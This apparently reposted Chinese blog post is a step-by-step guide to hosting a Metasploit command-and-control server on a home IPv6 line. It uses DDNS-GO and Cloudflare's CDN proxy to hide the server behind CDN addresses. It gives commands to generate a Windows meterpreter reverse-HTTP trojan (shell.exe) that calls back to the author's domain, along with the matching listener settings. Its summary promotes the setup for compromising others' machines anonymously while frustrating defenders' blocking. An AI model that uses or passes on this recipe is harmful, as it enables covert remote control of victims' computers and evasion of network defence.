前言介绍
我国也正在积极推广普及 IPv6 技术,个人家庭光猫基本上都是支持 IPv6 的,IPv6 我们可以理解为一个公网 IP,由于 IPv6 资源数量非常庞大,足够保障我们的家庭每个设备都有自己的公网 IPv6 地址,这一切预示着万物互联的时代即将到来,从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。
但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。
方案草图
整体方案实现其实不难,最主要的就是下面两个知识点:
-
IPv6 DDNS 解析到指定域名 -
借助 Coudflare 内部的 CDN 代理将 IPv6 流量转到 IPv4
准备工作
总的来说就是下面两个步骤即可:
-
安装好带 IPv6 地址的 Ubuntu 一台 -
接入好 Cloudflare 的域名一个
检查 IPv6 网络
准备一个没有公网 IPv4 地址,但是存在公网 IPv6 地址的 Ubuntu 系统一个,正常家用的主机基本上是满足上述要求的:
安装 Metasploit
MSF 是经典的 C2 工具,其他的 C2 工具基本上线原理仿造一下即可,我们先来手动来安装一下 Metasploit:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&
chmod 755 msfinstall &&
./msfinstall
创建 CF 的 API 令牌
为了保持权限最小化原则,我们这里只创建一个修改 itermux 域名的 DNS 权限 API 令牌:
安装部署 DDNS-GO
DDNS-GO 的官方项目地址为:https://github.com/jeessy2/ddns-go
DDNS-GO 的作用是将公网地址解析到各大云厂商的域名上。下载好 DDNS-GO 参考官方文档安装一下即可:
sudo ./ddns-go -s install
接着访问服务器的 9876 端口即可打开 DDNS-GO 的配置页面,首先填写我们的 CF 的 API Token:
最后配置一下要 IPv6 对应解析的域名即可:
通过 DDNS-GO 的日志可以看到 msf.itermux.com 域名成功解析到了我们的公网 IPv6 地址:
配置 Cloudflare
因为当前默认域名解析的是 IPv6 地址,IPv4 设备是无法访问到我们的域名的,为此我们需要手动开启 CF 的代理,借助 CF 将域名转换成 IPv4 也可以访问的 IP 地址:
然后手动关闭一下 CF 的 SSL 加密:
验证连通性
首先在服务器上借助 Python3 监听应该 IPv6 的 80 端口:
python3 -m http.server 80 --
bind
::
然后直接访问我们的 msf.itermux.com 域名测试成功访问:
操作细节
既然上述操作跑通的话,那么下面直接来尝试一下 MSF 上线吧。后续的操作就比较简单常规了,我们很快的来过一下:
生成 Payload
我们使用 meterpreter_reverse_http的 Payload,HOST 填写我们的 IPv6 地址 DDNS 的域名 msf.itermux.com,端口就填写 80 端口:
msf6 > use payload/windows/x64/meterpreter_reverse_http
msf6 >
set
LHOST msf.itermux.com
msf6 >
set
LPORT 80
然后直接在 msfconsole 控制台里面使用 generate 生成 Windows exe 木马文件:
msf6 payload(windows/x64/meterpreter_reverse_http) > generate -f exe -o shell.exe
[*] Writing 208384 bytes to shell.exe...
监听会话
这里监听的细节是 set LHOST ::
表示监听本地的 IPv6 地址:
msf6 > use exploits/multi/handler
msf6 >
set
payload windows/x64/meterpreter_reverse_http
msf6 >
set
LHOST ::
msf6 >
set
LPORT 80
上线效果
运行 shell.exe 后既上线成功,通过 netstat 命令查看,可以看到多个上线的会话连接,这些外连 IP 均为 Cloudflare 的 CDN IP,蓝方防守的话封是封不完,而且不敢封的,因为国内很多大型网站可能也用的是 Cloudflare。
MSF 的上线记录效果如下,可以看到 CF 的 CDN IPv6 服务器和本地的 IPv6 交互的记录:
方案总结
-
以后上线别人的话,不用买云服务器了,连接 SIM 热点或者直接使用家用光猫有 IPv6 地址就行 -
IPv6 还在普及中,监管方面也比较弱,且 IPv6 也是动态的,很灵活 -
Cloudflare 的 CDN 外连 IP 蓝方不敢轻易封禁,因为国内很多大厂也用的 Cloudflare 的 CDN -
Cloudflare 的 CDN 是多种多样的,封一个两个也封不完的 -
Cloudflare 的域名接入也不需要实名操作,理论上是可以做到完全匿名的渗透上线的
原文始发于微信公众号(渗透安全团队):无公网云主机上线对方电脑 | 利用家用设备的 IPv6 地址来建立 C2 服务器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论